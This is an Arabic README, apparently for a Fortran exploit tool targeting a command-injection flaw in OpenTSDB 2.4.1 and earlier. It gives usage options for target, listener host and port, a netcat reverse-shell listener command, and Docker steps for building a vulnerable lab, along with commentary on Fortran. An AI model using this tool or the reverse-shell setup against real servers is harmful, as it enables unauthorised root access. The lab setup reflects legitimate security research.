
أداة استغلال لثغرة حقن الأوامر في OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) مكتوبة بلغة Fortran
استغلال لثغرة حقن أوامر في OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) مكتوب بلغة Fortran
هذا استغلال لثغرة حقن أوامر في إصدارات OpenTSDB 2.4.1 وما قبلها (CVE-2023-36812/CVE-2023-25826). الاستغلال مكتوب بلغة Fortran الحديثة ويستعين بمكتبة http-client الرسمية للغة Fortran، والتي أُنشئت في وقت سابق من هذا العام.
OpenTSDB هي قاعدة بيانات سلاسل زمنية مفتوحة المصدر مكتوبة بلغة Java. في عام 2020، اكتُشفت ثغرة حقن أوامر في الإصدارات 2.4.0 وما قبلها، يمكن استغلالها للحصول على تنفيذ كود عن بُعد على المضيف بصلاحيات الجذر (root). وبما أن OpenTSDB لا يدعم المصادقة، فإن هذه الثغرة، المتتبعة باسم CVE-2020-35476، كان يمكن استغلالها من قبل أي شخص لديه إمكانية الوصول إلى واجهة الويب الخاصة بـ OpenTSDB. تم إصلاح المشكلة في الإصدار 2.4.1
في هذا العام اكتُشف أن التصحيح الخاص بـ CVE-2020-35476 كان غير مكتمل، وأن حقن الأوامر ما يزال ممكنًا في OpenTSDB 2.4.1 عبر عدة نواقل هجوم.
التفاصيل:
باختصار، رأيت هذا الحوار:
فكرة كتابة استغلال بـلغة البرمجة التي استُخدمت لإيصال البشر إلى القمر أثارت فضولي بشدة لدرجة أنني اضطررت إلى استكشافها بنفسي. هذا الاستغلال هو نتيجة تلك التجربة. وعن سؤال ما إذا كانت ناجحة، لا يمكنني الرد إلا بهذه الكلمات الحكيمة والملعونة في آنٍ واحد، والتي تربط جميع المطورين بالدم: إنها تعمل على جهازي. ¯\(ツ)/¯
على أي حال، أبرز ما استخلصته من هذا المشروع هو:
في المجمل، ليس من السهل تخيل أن هذه اللغة ستكتسب أهمية حقيقية في مجال الأمن الهجومي، ولو فقط لأن هناك العديد من البدائل الحديثة المتينة المتاحة لأي حالة استخدام يمكن تصورها (Python وGo وRust وRuby وC# على سبيل المثال لا الحصر). لكن إذا كنت تحب تجربة لغات برمجة مختلفة ولا تمانع في تغليف نصوصك البرمجية باستدعاءات trim() طوال الوقت (يُرجى الانتباه جيدًا إلى هذا الأمر، فهو سيوفر عليك قدرًا هائلًا من المعاناة)، فإن Fortran تستحق التجربة بكل تأكيد. أنا الآن أشجع هذه اللغة بكل صدق، وقد أعود إليها إذا واصلوا إضافة الدعم لمكتبة http-client، خاصة إذا أضافوا مكتبة http-server في وقت ما.
الخلاصة: مكتبة http-client للغة Fortran تشتغل بجنون.
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /path/to/opentsdb_key_cmd_injection/
fpm (تأكد من تثبيته أولًا. راجع تعليمات التثبيت في القسم التالي)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
الخيارات:
-t - TARGET URL: عنوان URL الأساسي الخاص بـ OpenTSDB (مطلوب)-l - LHOST: عنوان IP للنظام الذي تشغّل عليه المستمع (مطلوب)-p - LPORT: منفذ المستمع (مطلوب)-v - VERBOSE: تفعيل الطباعة التفصيلية (اختياري)gfortran. على الأنظمة المبنية على Debian يمكن القيام بذلك عبر:apt install gfortran
chmod +x /<path>/to/fpm
تأكد من تثبيت git على نظامك قبل تثبيت fpm.
للتثبيت اليدوي، يمكنك اتباع تعليمات التثبيت الرسمية هنا. ومع ذلك، قد يكون هذا الأمر مزعجًا، لذا أنصح باستخدام docker بدلًا من ذلك.
بالنسبة للإصدار 2.4.0، يمكنك استخدام صورة docker الخاصة بـ vulnhub واتباع تعليمات التثبيت هنا. تلك الصورة أُنشئت لثغرة CVE-2020-35476، وهي ثغرة أقدم في OpenTSDB حتى الإصدار 2.4.0.
بالنسبة للإصدار 2.4.1 وربما أي إصدار آخر، يمكنك الاستفادة من صورة vulhub الخاصة بـ OpenTSDB 2.4.0 وتعديلها لتثبيت الإصدار الذي تريده. اتبعت هذا النهج مع الإصدار 2.4.1 وكان ناجحًا للغاية.
Dockerfile وdocker-entrypoint.sh الخاصين بـ vulhub OpenTSDB 2.4.0 من هنا واحفظهما في مجلد مخصص.Dockerfile، استبدل جميع حالات 2.4.0 بالإصدار الذي تريده، مثل 2.4.1docker-entrypoint.shdocker-compose.yml بالمحتوى التالي:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
استخدمت هيكل الملفات هذا:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml:docker-compose up -d
تُعرف Fortran غالبًا بأنها لغة قديمة لعبت دورًا مهمًا في تاريخ الحوسبة الحديثة، لكنها لم تعد تُعتبر ذات صلة اليوم. صدرت لأول مرة في عام 1957، أي قبل أكثر من عقد من ظهور كل من ARPANET وUnix. واستنادًا إلى فيديو بيانات السلاسل الزمنية هذا، كانت اللغة البرمجية المهيمنة طوال ستينيات وسبعينيات القرن العشرين، وبقيت ضمن أكثر 10 لغات شيوعًا حتى أواخر تسعينيات القرن العشرين. لكن بحلول وقت إصدار Windows 98، كانت قد خرجت بوضوح من دائرة الموضة، لصالح لغات أكثر حداثة مثل C وC++ وJava وJavaScript، وكلها ما تزال تُستخدم على نطاق واسع حتى اليوم.
وبصرف النظر عن الأرواح الشجاعة التي تدير الأنظمة القديمة، أشك في أن كثيرًا من العاملين في مجال تقنية المعلومات (ناهيك عن خارج فقاعتنا) صادفوا Fortran في العقدين الماضيين، أو حتى يدركون أنها ما تزال موجودة. على الرغم من ذلك، ما تزال Fortran قيد التطوير النشط. كما هو مذكور في موقع Fortran الرسمي، كانت آخر مراجعة للغة في عام 2018، ونأمل أن نشهد مراجعة أخرى هذا العام (2023). في الواقع، يبدو أن مجتمع Fortran كان نشطًا للغاية في السنوات القليلة الماضية، حيث أطلق عدة مشاريع كبرى للمساعدة في تحديث النظام البيئي، بما في ذلك:
وبالنظر إلى ذلك، يبدو أن القائمين على الصيانة يهدفون إلى تحقيق نوع من العودة لـ Fortran، أو على أقل تقدير منح اللغة فرصة حقيقية للبقاء لعقود قليلة أخرى. وبينما لا يتوقع حتى أكثر المعجبين تعصبًا بـ Fortran أن تتصدر اللغة قائمة أفضل 10 لغات برمجة شيوعًا مرة أخرى، فإن التحديث المستمر للغة ونظامها البيئي جعل Fortran على الأرجح أكثر أهمية مما كانت عليه في العقد أو العقدين الماضيين.